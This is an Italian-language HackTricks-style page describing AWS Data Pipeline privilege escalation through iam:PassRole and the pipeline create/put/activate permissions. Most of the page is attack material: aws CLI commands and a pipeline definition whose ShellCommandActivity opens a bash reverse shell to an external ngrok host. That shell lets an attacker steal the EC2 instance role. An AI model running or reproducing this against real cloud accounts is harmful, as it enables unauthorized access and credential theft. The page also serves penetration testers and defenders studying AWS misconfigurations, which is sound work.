AWS - Datapipeline Privesc
Reading time: 3 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
datapipeline
Per ulteriori informazioni su datapipeline controlla:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole
, datapipeline:CreatePipeline
, datapipeline:PutPipelineDefinition
, datapipeline:ActivatePipeline
Gli utenti con queste autorizzazioni possono elevare i privilegi creando un Data Pipeline per eseguire comandi arbitrari utilizzando le autorizzazioni del ruolo assegnato:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Dopo la creazione della pipeline, l'attaccante aggiorna la sua definizione per dettare azioni specifiche o creazioni di risorse:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
note
Nota che il ruolo nelle righe 14, 15 e 27 deve essere un ruolo assumibile da datapipeline.amazonaws.com e il ruolo nella riga 28 deve essere un ruolo assumibile da ec2.amazonaws.com con un profilo istanza EC2.
Inoltre, l'istanza EC2 avrà accesso solo al ruolo assumibile dall'istanza EC2 (quindi puoi solo rubare quello).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Il file di definizione della pipeline, creato dall'attaccante, include direttive per eseguire comandi o creare risorse tramite l'API AWS, sfruttando i permessi di ruolo del Data Pipeline per potenzialmente ottenere privilegi aggiuntivi.
Impatto Potenziale: Privesc diretto al ruolo di servizio ec2 specificato.
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.